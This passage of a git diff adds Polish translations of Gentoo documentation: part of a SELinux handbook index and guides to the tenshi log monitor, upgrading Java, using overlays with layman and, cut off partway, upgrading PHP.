+Instalacja pakietów SELinux oraz polityk, jak również znakowanie systemu
+plików.
+</abstract>
+  <include href="hb-selinux-conv-reboot2.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Praca z SELinux</title>
+<abstract>
+Naucz się jak pracować z SELinux.
+</abstract>
+<chapter>
+<title>Przegląd SELinux</title>
+<abstract>
+Selinux posiada wiele aspektów, które powinniśmy poznać. Ten rozdział opisuje
+najważniejsze koncepcje SELinux oraz jego polityki.
+</abstract>
+  <include href="hb-selinux-overview.xml"/>
+</chapter>
+<chapter>
+<title>SELinux HOWTO</title>
+<abstract>
+Ten rozdział opisuje jak radzić sobie z częstymi operacjami w SELinux.
+</abstract>
+  <include href="hb-selinux-howto.xml"/>
+</chapter>
+<chapter>
+<title>SELinux FAQ</title>
+<abstract>
+Ten rozdział odpowiada na najczęściej zadawane pytania dotyczące SELinux.
+</abstract>
+  <include href="hb-selinux-faq.xml"/>
+</chapter>
+<chapter>
+<title>Infrastruktura zarządzania SELinux</title>
+<abstract>
+Rozdział opisuje zarządzanie systemem SELinux przy użyciu stosownej
+infrastruktury.
+</abstract>
+  <include href="hb-selinux-libsemanage.xml"/>
+</chapter>
+<chapter>
+<title>Moduły localnej polityki bezpieczeństwa</title>
+<abstract>
+Dokument przedstawia dodawanie nowych reguł i modułów do wykorzystywanej
+polityki bezpieczeństwa.
+</abstract>
+  <include href="hb-selinux-localmod.xml"/>
+</chapter>
+<chapter>
+<title>Materiały referencyjne SELinux</title>
+<abstract>
+Dokument ten zawiera listę zewnętrznych materiałów referencyjnych dotyczących
+SELinux.
+</abstract>
+<include href="hb-selinux-references.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Rozwiązywanie problemów z SELinux</title>
+<abstract>
+Gdy napotyka się na problemy w systemie, SELinux może je tylko spotęgować. Ten
+rozdział pokazuje jak radzić sobie z najczęstszymi problemami.
+</abstract>
+<chapter>
+<title>Polityka nie ładuje się przy uruchomieniu</title>
+<abstract>
+Ten rozdział opisuje problemy przy ładowaniu polityki podczas uruchamiania
+systemu.
+</abstract>
+  <include href="hb-selinux-initpol.xml"/>
+</chapter>
+<chapter>
+<title>Kłopoty z lokalnym logowaniem się</title>
+<abstract>
+Ten rozdział opisuje problem z lokalnym logowaniem się w konsoli.
+</abstract>
+  <include href="hb-selinux-loglocal.xml"/>
+</chapter>
+<chapter>
+<title>Kłopoty ze zdalnym logowaniem się</title>
+<abstract>
+Ten rozdział opisuje problemy ze zdalnym logowaniem się przy pomocy SSH.
+</abstract>
+  <include href="hb-selinux-logremote.xml"/>
+</chapter>
+</part>
+
+</book>
diff --git a/xml/htdocs/proj/pl/infrastructure/tenshi/index.xml b/xml/htdocs/proj/pl/infrastructure/tenshi/index.xml
new file mode 100644
index 00000000..24a3f4c8
--- /dev/null
+++ b/xml/htdocs/proj/pl/infrastructure/tenshi/index.xml
@@ -0,0 +1,213 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/infrastructure/tenshi/index.xml,v 1.3 2007/05/14 23:39:12 rane Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pl/infrastructure/tenshi/index.xml" lang="pl">
+<title>Dokumentacja Gentoo Linux -- Tenshi</title>
+
+<author title="Autor">
+  <mail link="lcars@gentoo.org">Andrea Barisani</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="rane@gentoo.org">Łukasz Damentko</mail>
+</author>
+
+<abstract>
+Krótki opis programu tenshi, narzędzia służącego do monitorowania logów
+systemowych.
+</abstract>
+
+<version>0.3.4</version>
+<date>2005-03-18</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<body>
+
+<p>
+Tenshi to program służący do monitorowania logów systemowych, stworzony z myślą
+o przeszukiwaniu jednego lub kilku takich plików pod kątem linii pasujących do
+stworzonych przez użytkownika wyrażeń regularnych i przy każdym wykryciu takiej
+linii raportujący o tym w odpowiedni sposób. Wyrażenia regularne przypisywane są
+do kolejek, z których każda ma własny okres oczekiwania pomiędzy raportami oraz
+własną listę adresów mailowych odbiorców raportu.
+</p>
+
+<p>
+Kolejki mogą być konfigurowane tak, aby wiadomość była wysyłana tak szybko, jak
+tylko program natrafi na odpowiednią linię lub by list był wysyłany co jakiś
+określony okres czasu.
+</p>
+
+<p>
+Dodatkowo można zamaskować nie interesujące nas pola w logach (takie jak na
+przykład numery PID). Dokonuje się tego również za pomocą standardowych dla
+wyrażeń regularnych operatorów grup ( ). Pozwala to na tworzenie bardziej
+przejrzystych raportów. Wszystkie raporty są dzielone w zależności od nazwy
+hosta oraz grupowane, kiedy tylko jest to możliwe.
+</p>
+
+<p>
+Program odczytuje plik konfiguracyjny, a następnie uruchamia w tle demona, który
+monitoruje wybrane pliki z logami.
+</p>
+
+<p>
+Warto zapoznać się z przykładowym plikiem <uri
+link="http://www.gentoo.org/~lcars/tenshi/tenshi.conf">tenshi.conf</uri> oraz
+stroną podręcznika systemowego <c>man 8 tenshi</c> w celu zdobycia większej
+wiedzy na temat pracy z programem.
+</p>
+
+<impo>
+Kiedyś pakiet ten nazywał się <c>Wasabi</c>, ale nazwę zmieniono w związku z
+tym, że był to zarejestrowany znak handlowy innej firmy.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Przykłady</title>
+<section>
+<body>
+
+<p>
+W pliku <path>tenshi.conf</path> warto posiadać następujące wpisy:
+</p>
+
+<pre caption="Przykładowe ustawienia kolejek w pliku tenshi.conf">
+
+...
+
+set hidepid on
+
+set queue mail     tenshi@localhost sysadmin@localhost [0 */12 * * *]
+set queue misc     tenshi@localhost sysadmin@localhost [0 */24 * * *]
+set queue critical tenshi@localhost sysadmin@localhost [now]
+
+group ^ipop3d:
+
+mail ^ipop3d: Login user=(.+)
+mail ^ipop3d: Logout user=(.+)
+mail ^ipop3d: pop3s SSL service init from (.+)
+mail ^ipop3d: pop3 service init from (.+)
+mail ^ipop3d: Command stream end of file, while reading.+
+mail ^ipop3d: Command stream end of file while reading.+
+
+critical ^ipop3d: Login failed.+
+
+trash ^ipop3d:.+
+
+group_end
+
+critical ^sudo: (.+) : TTY=(.+) ; PWD=(.+) ; USER=root ; COMMAND=(.+)
+
+misc .*
+</pre>
+
+<p>
+Każda wiadomość ipop3d nie pasująca do wyrażeń regularnych kolejki <e>mail</e>
+lub <e>critical</e> zostanie przekierowana do kolejki <e>trash</e> (wbudowana
+kolejka zerowa). Każda pozostała wiadomość będzie przekierowywana do kolejki
+<e>misc</e>. Wpisy wewnątrz <c>(.+)</c> zostaną zamaskowane.
+</p>
+
+<p>
+Poniżej znajduje się przykładowy raport z kolejki <e>mail</e> wysłany po 12
+godzinach pracy programu.
+</p>
+
+<pre caption="Przykładowy raport - kolejka [mail]">
+
+host1:
+    79: ipop3d: Login user=___
+    74: ipop3d: Logout user=___
+
+host2:
+    30: ipop3d: Login user=___
+    30: ipop3d: Logout user=___
+    19: ipop3d: pop3 service init from ___
+    12: ipop3d: pop3s SSL service init from ___
+    1: ipop3d: Command stream end of file while reading line user=??? host=bogus.domain.net [192.168.0.1]
+    1: ipop3d: Command stream end of file, while reading authentication host=bogus1.domain.net [10.1.7.1]
+</pre>
+
+<p>
+Poniżej znajduje się przykładowy raport z kolejki <e>critical</e>. Takie
+wiadomości są wysyłane natychmiast po tym jak tylko pojawi się wpis pasujący do
+wyrażenia regularnego.
+</p>
+
+<pre caption="Przykładowy raport - kolejka [critical]">
+
+host1:
+    1: /usr/bin/sudo: ___ : TTY=___ ; PWD=___ ; USER=root ; COMMAND=/bin/dmesg
+</pre>
+
+<pre caption="Przykładowy raport - kolejka [critical]">
+host1:
+    1: /usr/bin/sudo: ___ : TTY=___ ; PWD=___ ; USER=root ; COMMAND=/bin/bash
+</pre>
+
+<pre caption="Przykładowy raport - kolejka [critical]">
+host2:
+    1: ipop3d: Login failed user=admin auth=admin host=bogus1.domain.net [10.1.7.1]
+</pre>
+
+<pre caption="Przykładowy raport - kolejka [critical]">
+host2:
+    1: ipop3d: Autologout user=??? host=bogus.domain.net [192.168.0.1]
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Wymagania</title>
+<section>
+<body>
+
+<p>
+Tenshi wymaga, aby działał program 'tail'. Niezbędny jest także moduł Net::SMTP
+pozwalający na wysyłanie raportów pocztą. Powinien on być częścią instalacji
+perla.
+</p>
+
+<p>
+Użytkownicy Gentoo mogą zainstalować ten program poprzez ebuild
+<e>app-admin/tenshi</e>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Zasoby</title>
+<section>
+<body>
+
+<p>
+Najnowsze wydanie tenshi znajduje się tu: <uri
+link="http://dev.gentoo.org/~lcars/tenshi/tenshi-latest.tar.gz">tenshi-latest.tar.gz</uri>.
+</p>
+
+<p>
+Wszystkie wydania są także dostępne na stronie
+<uri>http://dev.gentoo.org/~lcars/tenshi</uri>.
+</p>
+
+<p>
+Wszelkie prośby, sugestie i raporty o błędach prosimy przysyłać na adres
+<mail>tenshi@gentoo.org</mail>
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/java/java-upgrade.xml b/xml/htdocs/proj/pl/java/java-upgrade.xml
new file mode 100644
index 00000000..b5cacb52
--- /dev/null
+++ b/xml/htdocs/proj/pl/java/java-upgrade.xml
@@ -0,0 +1,248 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/java/java-upgrade.xml,v 1.8 2008/08/28 12:41:08 shadow Exp $ -->
+
+<guide link="/proj/pl/java/java-upgrade.xml" lang="pl">
+<title>Aktualizacja systemu maszyn wirtualnych Java w Gentoo</title>
+
+<author title="Autor">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+<author title="Autor">
+  <mail link="kartk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Redaktor">
+  <mail link="nightmorph@gentoo.org">Josh Saddler</mail>
+</author>
+<author title="Tłumacz">
+  <mail link="astralstorm@gmail.com">Radosław Szkodziński</mail>
+</author>
+
+<abstract>
+Ten przewodnik przedstawia sposób aktualizacji wsparcia dla języka
+programowania Java w Gentoo do nowej generacji, jak również związane z tym
+pojęcia i narzędzia.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2008-08-25</date>
+
+<chapter>
+<title>Zanim zaczniesz</title>
+<section>
+<body>
+
+<p>
+Witamy. Zapewne zadajesz sobie teraz pytanie 'Po co mam aktualizować Javę?'.
+Lub właśnie przechodziłeś przez ten proces i zostałeś skierowany na tę stronę
+przez błąd instalacji? Bez względu na to, powodem, dla którego stworzono ten
+dokument jest pomoc przy aktualizacji Javy do nowego systemu. No tak, ale o co
+chodzi z tym nowym systeme Java?
+</p>
+</body>
+</section>
+
+<section>
+<title>Nowy system java</title>
+<body>
+
+<p>
+Dla tych, którzy nie znają jeszcze nowego systemu Javy, poniżej znajduje się
+lista nowych opcji:
+</p>
+
+<ul>
+  <li>Możliwość przełączania się do nowej maszyny wirtualnej w locie.</li>
+  <li>
+    Zmiany jakie wprowadzi użytkownik widoczne są natychmiast i nie są
+    przechowywane w powłoce systemowej (tzn. nie trzeba więcej uruchamiać
+    polecenia env-update &amp;&amp; source /etc/profile po przełączeniu maszyny
+    wirtualnej).
+  </li>
+  <li>
+    Koncepcja "budującej maszyny wirtualnej" używanej do instalacji pakietów
+    oraz konfigurowalnej niezależnie od systemowej maszyny wirtualnej.
+  </li>
+  <li>
+    Dla każdej wersji Javy, 1.3, 1.4, 1.5 itd., budująca maszyna wirtualna może
+    zostać skonfigurowana do odpowiedniej wersji i producenta maszyny
+    wirtualnej.
+  </li>
+  <li>
+    Maszyna wirtualna oraz jej pakiety zależne zostaną przełączone podczas
+    instalacji zgodnie z jej konfiguracją. Dla przykładu, niektóre pakiety nie
+    kompilują się z wersją 1.5. W takich przypadkach, do budowy zostanie użyta
+    wersja 1.4.
+  </li>
+  <li>
+    Pakietom Java, które budują się z ant, zostaną przepisane pliki build.xml
+    podczas kompilacji, aby mieć pewność, że zostanie skompilowany poprawny kod
+    bitowy java.
+  </li>
+  <li>Wersja 1.5 Javy została odmaskowana</li>
+  <li>
+    Wersja 1.6 będzie dostępna dla użytkowników systemu, krótko po jej wydaniu.
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Terminologia / Koncepcje</title>
+<body>
+
+<p>
+Gdy już wiemy z czym mamy do czynienia, poniżej znajdziemy kilka terminów oraz
+koncepcji, które mogą nam się przydać w późniejszym czasie.
+</p>
+
+<dl>
+  <dt>Generacja</dt>
+  <dd>
+    Nowa koncepcja. Generacja to zestaw programów i eklas
+    wykorzystywanych do tworzenia pakietów w języku Java. W pewnym momencie
+    zamierzamy przejść z obecnej generacji do nowszej. W międzyczasie obie
+    generacje mogą współistnieć. Na przykład, można mieć zainstalowaną
+    systemową maszynę wirtualną generacji 1 <e>jednocześnie</e> z maszyną
+    wirtualną generacji 2. W ten sposób pakiety korzystające z generacji
+    1 i generacji 2 mogą występować razem podczas przejścia na nowszą
+    generację.
+  </dd>
+  <dt>Pierwsza generacja</dt>
+  <dd>
+    Składa się z obecnych wersji eklas (java-pkg, java-utils, and java) oraz
+    programu <c>java-config-1.x</c>. Pakiety generacji 1 uznane są za
+    przestarzałe i powoli rezygnuje się z ich użycia.
+  </dd>
+  <dt>Druga generacja</dt>
+  <dd>
+    Nowa wersja zawierająca nowe eklasy (java-pkg-2, java-pkg-opt-2,
+    java-ant-2, and java-utils-2) oraz nową wersję programu java-config. jest
+    to generacja, na którą będziemy migrować.
+  </dd>
+  <dt>Systemowa maszyna wirtualna pierwszej generacji</dt>
+  <dd>
+    Ta maszyna wirtualna służy do instalacji pakietów w języku Java
+    korzystających z eklas pierwszej generacji. Wybiera się ją za pomocą
+    polecenia <c>java-config-1 --set-system-vm &lt;wybrana maszyna&gt;</c>.
+  </dd>
+  <dt>Systemowa maszyna wirtualna drugiej generacji</dt>
+  <dd>
+    Maszyna wirtualna, z której korzystają tylko root i użytkownicy, którzy
+    nie wybrali własnej maszyny wirtualnej.
+  </dd>
+  <dt>Instalacyjna maszyna wirtualna drugiej generacji</dt>
+  <dd>
+    W drugiej generacji wprowadzono nowy rodzaj maszyny wirtualnej.
+    Służy ona do budowania pakietów korzystających z Javy. Standardowo
+    pakiety będą próbowały korzystać z maszyny wirtualnej o najniższym
+    numerze wersji. To, którego dostawcy maszyna wirtualna będzie
+    zastosowana, zależy od architektury. Wartości domyślne są ustawione w
+    pliku
+    <path>/usr/share/java-config-2/config/jdk-defaults.conf</path>.
+    Dodatkowo, instalacyjną maszynę wirtualną można wybrać w pliku
+    <path>/etc/java-config-2/build/jdk.conf</path>.
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aktualizacja java-config</title>
+<section>
+<body>
+
+<p>
+Nowy pakiet, <c>java-config-wrapper</c>, jest blokowany przez starsze wersje
+<c>java-config</c>, należy więc je usunąć:
+</p>
+
+<pre caption="Usuwanie starej wersji java-config">
+# <i>emerge -C java-config</i>
+</pre>
+
+<p>
+Teraz trzeba zainstalować nowy <c>java-config</c>:
+</p>
+
+<pre caption="Instalacja nowego java-config">
+# <i>emerge -1 java-config:0 java-config:2</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Sprawdzenie środowiska Java</title>
+<section>
+<body>
+
+<p>
+Dostarczamy nowy skrypt <c>java-check-environment</c>, służący do sprawdzenia
+środowiska Java. Przekazuje on informacje na temat kroków, które należy podjąć,
+aby zlikwidować znalezione problemy. Zatem należy uruchomić:
+</p>
+
+<pre caption="Sprawdzanie środowiska">
+# <i>java-check-environment</i>
+</pre>
+
+<p>
+Jeżeli skrypt ten napotka na jakieś problemy, zatrzyma swoje działanie i
+poinformuje nas o problemie oraz o sposobie jego rozwiązania. Należy zastosować
+się do podanych wskazówek a następnie ponownie uruchomić java-check-environment
+dopóki skrypt nie zakończy poprawnie działania.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aktualizacja... ukończono!</title>
+<section>
+<body>
+
+<p>
+Jeżeli dotarłeś do tego momentu, aktualizacja systemu Java zakończyła się
+sukcesem. Gratulacje!
+</p>
+
+<p>
+Po przeprowadzeniu aktualizacji, być może będziemy chcieli zajrzeć do
+zaaktualizowanej dokumentacji.
+</p>
+
+<ul>
+  <li><uri link="/doc/pl/java.xml">Podręcznik użytkownika</uri></li>
+  <li><uri link="/proj/en/java/java-devel.xml">Developer guide</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Częste problemy i pytania</title>
+<section>
+<body>
+
+<p>
+Aby ułatwić poszukiwania rozwiązań na problemy spotykane przy aktualizacji
+zespół Java stworzył stronę <uri
+link="http://overlays.gentoo.org/proj/java/wiki/Common_Problems">wiki</uri>.
+Przed szukaniem pomocy lub zgłaszaniem problemów prosimy o przeczytaniej tego
+dokumentu.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/overlays/userguide.xml b/xml/htdocs/proj/pl/overlays/userguide.xml
new file mode 100644
index 00000000..64d3ff41
--- /dev/null
+++ b/xml/htdocs/proj/pl/overlays/userguide.xml
@@ -0,0 +1,339 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/overlays/userguide.xml,v 1.3 2009/02/15 07:43:16 rane Exp $ -->
+
+<guide link="/proj/pl/overlays/userguide.xml" lang="pl">
+<title>Gentoo Overlays: Podręcznik użytkownika</title>
+
+<author title="Autor">
+  <mail link="stuart@gentoo.org">Stuart Herbert</mail>
+</author>
+<author title="Autor">
+  <mail link="jokey">Markus Ullmann</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="gawi@poczta.internetdsl.pl">Łukasz Gawroński</mail>
+</author>
+
+<abstract>
+Opis korzystania z usługi Gentoo Overlays.
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2008-10-30</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<title>Odbiorcy</title>
+<body>
+
+<p>
+Ten dokument został napisany dla wszystkich użytkowników Gentoo. Każdy
+deweloper, który chce prowadzić swój własny overlay, powinien przeczytać <uri
+link="/proj/en/overlays/devguide.xml">Podręcznik Dewelopera</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Czym są overlaye?</title>
+<body>
+
+<p>
+Tzw. "overlay" to drzewo pakietów dla Portage. Zawierają ono dodatkowe ebuildy
+dla systemu i jest zarządzane przez deweloperów Gentoo. Drzewa takie nie są
+częścią systemu Gentoo, są tworzone poza głównym drzewem Portage.
+</p>
+
+
+</body>
+</section>
+<section>
+<title>Po co korzystać z overlayów?</title>
+<body>
+
+<p>
+Jest wiele powodów dla których użytkownicy tworzą overlaye. Niektóre z
+nich to:
+</p>
+
+<ul>
+  <li>
+    Gdy zmodyfikujemy ebuild w katalogu /usr/portage, zmiany zostaną utracone za
+    każdym razem, gdy wykonamy polecenie emerge --sync. Jeśli jednak dodamy
+    zmodyfikowany ebuild do overlaya, zmiany będą zabezpieczone przed emerge
+    --sync.
+  </li>
+  <li>
+    Ponieważ overlaye nie zawierają się w głównym drzewie pakietów Gentoo
+    Portage, jest to świetne miejsce do rozwijania i testowania ebuildów bez
+    groźby uszkodzenia głównego drzewa pakietów Gentoo Portage.
+  </li>
+  <li>
+    Nie każdy ebuild należy do głównego drzewa pakietów Gentoo. Overlay jest
+    świetnym miejscem do przechowywania ebuildu do momentu gdy jest on gotowy
+    do przejścia do drzewa pakietów Gentoo Portage.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Czym jest Projekt Overlay Gentoo?</title>
+<body>
+
+<p>
+Projekt ten zapewnia przestrzeń roboczą, która umożliwia projektom Gentoo,
+deweloperom i użytkownikom współpracę nad przyszłymi pakietami Gentoo. Osiągamy
+to przez publikację overlayów dla projektów i deweloperów Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Czy wszystkie oficjalne overlaye znajdują się na overlays.gentoo.org?</title>
+<body>
+
+<p>
+Nie. Deweloperzy Gentoo mogą publikować swoje overlaye gdziekolwiek, gdzie
+uważają to za stosowne. Nie muszą używać overlays.gentoo.org jeśli nie chcą.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pierwsze kroki</title>
+<section>
+<body>
+
+<p>
+Dzięki programowi o nazwie layman autorstwa Gunnara Wrobela można łatwo
+instalować i uaktualniać nakładki.
+</p>
+
+</body>
+</section>
+<section>
+<title>Instalacja laymana</title>
+<body>
+
+<p>
+Aby zainstalować laymana, postępujemy według tych wskazówek:
+</p>
+
+<pre caption="Instalacja laymana">
+# <i>emerge layman</i>
+</pre>
+
+<pre caption="Informawanie Portage o repozytoriach laymana">
+<comment>(dla laymana 1.1)</comment>
+<i># echo "source /usr/portage/local/layman/make.conf" >> /etc/make.conf</i>
+
+<comment>(dla laymana 1.2 i nowszych)</comment>
+<i># echo "source /usr/local/portage/layman/make.conf" >> /etc/make.conf</i>
+</pre>
+
+<note>
+Layman utworzy katalog "/usr/portage/local/layman/make.conf" gdy dodamy pierwszy
+overlay. Jeśli jednak nie planujemy instalacji overlaya w danej chwili,
+powinniśmy się upewnić, że ten plik istnieje i zawiera pustą zmienną
+"PORTDIR_OVERLAY". W przeciwnym wypadku portage będzie narzekać. Możemy wydać
+polecenie "echo PORTDIR_OVERLAY=\"\" > /usr/portage/local/layman/make.conf" w
+celu utworzenia poprawnego pliku.
+</note>
+
+</body>
+</section>
+<section>
+<title>Lista dostępnych overlayów</title>
+<body>
+
+<p>
+Aby zobaczyć listę dostępnych overlayów, wydajemy polecenie:
+</p>
+
+<pre caption="Lista dostępnych overlayów">
+# <i>layman -L</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Instalowanie overlayów</title>
+<body>
+
+<p>
+Aby zainstalować na swoim komputerze overlaya, wydajemy polecenie:
+</p>
+
+<pre caption="Dodajemy overlaya">
+$ <i>layman -a &lt;nazwa&gt;</i>
+</pre>
+
+<p>
+Na przykład, aby zainstalować <uri
+link="http://overlays.gentoo.org/proj/php">overlay PHP</uri>, wydajemy
+polecenie:
+</p>
+
+<pre caption="Dodajemy overlay PHP">
+$ <i>layman -a php</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Instalowanie pakietów z overlayów</title>
+<body>
+
+<p>
+Po zainstalowaniu overlaya, możemy zainstalować pakiet z niego wpisując:
+</p>
+
+<pre caption="Instalowanie pakietu z overlaya">
+# <i>emerge -av</i> &lt;kategoria&gt;/&lt;pakiet&gt;
+</pre>
+
+<p>
+Portage automatycznie przeszukuje główne drzewo Portage (w /usr/portage) oraz
+wszystkie overlaye które zainstalowaliśmy i wybiera najnowszą wersję pakietu
+jaką może znaleźć.
+</p>
+
+<p>
+Jeśli Portage nie wybiera pakietu z overlaya, jest to spowodowane prawdopodobnie
+tym, że pakiet jest oznaczony przez ~arch, gdzie "arch" jest architekturą
+naszego komputera (przeważnie x86).
+</p>
+
+</body>
+</section>
+<section>
+<title>Aktualizacja overlaya</title>
+<body>
+
+<p>
+Aby zaktualizować zainstalowane overlaye, wydajemy polecenie:
+</p>
+
+<pre caption="Aktualizacja zainstalowanych Overlayów">
+# <i>layman -S</i>
+</pre>
+
+<p>
+Nie wydawawajmy tego polecenia codziennie, gdyż powodujemy tym samym
+zbytnie obciążenie infrastruktury Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Jak pomóc?</title>
+<section>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Wszyscy deweloperzy Gentoo byli użytkownikami Gentoo przed zostaniem
+deweloperami. Nasi użytkownicy nie są wyłącznie powodem tego że Gentoo istnieje
+nadal. Są oni także naszymi przyszłymi wolontariuszemi.
+</p>
+
+<p>
+Jeśli użytkownik zacznie wspierać jakiś projekt, damy mu dostęp z możliwością
+wprowadzania zmian do overlayów projektu i zapewnimy mentorów którzy pomogą mu
+wspierać projekt. W końcu, jeśli spodoba nam się to co robi i sposób w jaki to
+robi, zaprosimy go do pójścia na całość i zostania deweloperem Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Jak zacząć</title>
+<body>
+
+<p>
+Jeśli użytkownik chce wspierać overlaya, najlepszym sposobem jest zbudowanie
+dobrych relacji z deweloperami Gentoo którzy są za niego odpowiedzialni.  Może
+również sprawdzić kto jest odpowiedzialny za każdego overlaya na stronie <uri
+link="http://overlays.gentoo.org">overlays.gentoo.org</uri>, klikając na link
+danego overlaya.
+</p>
+
+<p>
+Różni deweloperzy wolą różne formy kontaktu. Niektórzy przesiadują na IRC i mogą
+mieć kanały dla swoich projektów. Przykładem tego jest projekt PHP
+(#gentoo-php), i projekt Webapps (#gentoo-web). Inni wolą kontakt emailowy.
+Jedyną drogą by to sprawdzić jest skontaktowanie się którąś z tych metod i
+przekonanie się.
+</p>
+
+</body>
+</section>
+<section>
+<title>Praca z subversion</title>
+<body>
+
+<p>
+Subversion jest systemem kontroli wersji, którego używamy do zarządzania
+zawartością overlaya. Jeżeli nigdy wcześniej nie mieliśmy do czynienia z tym
+systemem to podręcznik Subversion jest doskonałym miejscem, aby zacząć przygodę
+z tym programem. Możemy go zakupić w formie zwyczajnej książki lub czytać za
+darmo w Internecie.
+</p>
+
+</body>
+</section>
+<section>
+<title>Praca z Git</title>
+<body>
+
+<p>
+Git jest kolejnym systeme kontroli wersji, którego używamy. Aby się z nim
+zapoznać zapraszamy do przeczytania tutorialu, który znajduje się na głównej
+stronie.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dalsze informacje</title>
+<body>
+
+<p>
+Dalsze wsparcie w pracy nad ebuildami może zapewnić projekt (lub pojedynczy
+deweloper) nimi zarządzający w Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Często zadawane pytania</title>
+<section>
+<body>
+
+<p>
+P: Czy utrzymujecie overlaye dla użytkowników?
+</p>
+
+<ul>
+  <li>
+    O: Nie, nie utrzymujemy. Jeśli potrzebujesz swojego overlaya na
+    (git.)overlays.gentoo.org, musisz najpierw zostać deweloperem
+    Gentoo lub dołączyć do już istniejącego projektu.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/php/php-upgrading.xml b/xml/htdocs/proj/pl/php/php-upgrading.xml
new file mode 100644
index 00000000..05513e77
--- /dev/null
+++ b/xml/htdocs/proj/pl/php/php-upgrading.xml
@@ -0,0 +1,724 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/php/php-upgrading.xml,v 1.3 2007/09/26 08:31:30 rane Exp $ -->
+
+<guide link="/proj/pl/php/php-upgrading.xml" lang="pl">
+<title>Aktualizowanie PHP</title>
+
+<author title="Autor">
+ <mail link="akorthaus@web.de">Andreas Korthaus</mail>
+</author>
+<author title="Tłumaczenie">
+  Adrian Spaleniak
+</author>
+
+<abstract>
+Dokument opisuje procedurę postępowania, dzięki której użytkownicy mogą
+bezpiecznie zaktualizować zainstalowane pakiety PHP.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2007-08-11</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<body>
+
+<p>
+W przeszłości wielokrotnie proszono nas o oznaczenie PHP5 jako stabilne w
+drzewie Portage. Problemem nie było samo PHP5, powodem była duża ilość
+pakietów, rozszerzeń i programów, które z PHP5 nie chciały działać, na co nie
+mogliśmy nic poradzić. PHP5 nie jest w 100% kompatybilne z PHP4 i nie każdy
+program w PHP4 może zostać przeniesiony i uruchomiony w PHP5. Wielu
+użytkowników będzie zmuszonych do korzystania z PHP4 jeszcze przez długi czas.
+</p>
+
+<p>
+Sposobem na rozwiązanie problemu jest połączenie PHP4 i PHP5 w jedno
+zróżnicowane środowisko. Nie byłoby to jednak możliwe przy obecnym
+rozmieszczeniu pakietów oraz eklasie PHP, z tego powodu włożono wiele pracy by
+ebuildy i eklasy odpowiednio podzielić.
+</p>
+
+<p>
+Dokument ten szczegółowo omawia proces aktualizacji.
+</p>
+
+<note>
+Nowe pakiety PHP wymagają Apache, należy zapoznać się z tekstem <uri
+link="/doc/pl/apache-upgrading.xml">Aktualizowanie Apache</uri> jeżeli jeszcze
+nie zostało zaktualizowane.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Zmiany</title>
+<section>
+<title>Podstawowe zbiorcze pakiety PHP</title>
+<body>
+
+<p>
+Wszystkie ebuildy PHP (<c>dev-php/php</c>, <c>dev-php/php-cgi</c> i
+<c>dev-php/mod_php</c>) zostały połączone w jeden ebuild: <c>dev-lang/php</c>.
+</p>
+
+<p>
+Aby wybrać SAPI, używamy tych flag USE:
+</p>
+
+<ul>
+  <li><c>cgi</c> - instaluje <path>/usr/bin/php-cgi</path></li>
+  <li><c>cli</c> - instaluje <path>/usr/bin/php</path></li>
+  <li>
+    <c>apache</c> - instaluje <c>mod_php</c> dla Apache 1.3 (nowy projekt)
+  </li>
+  <li>
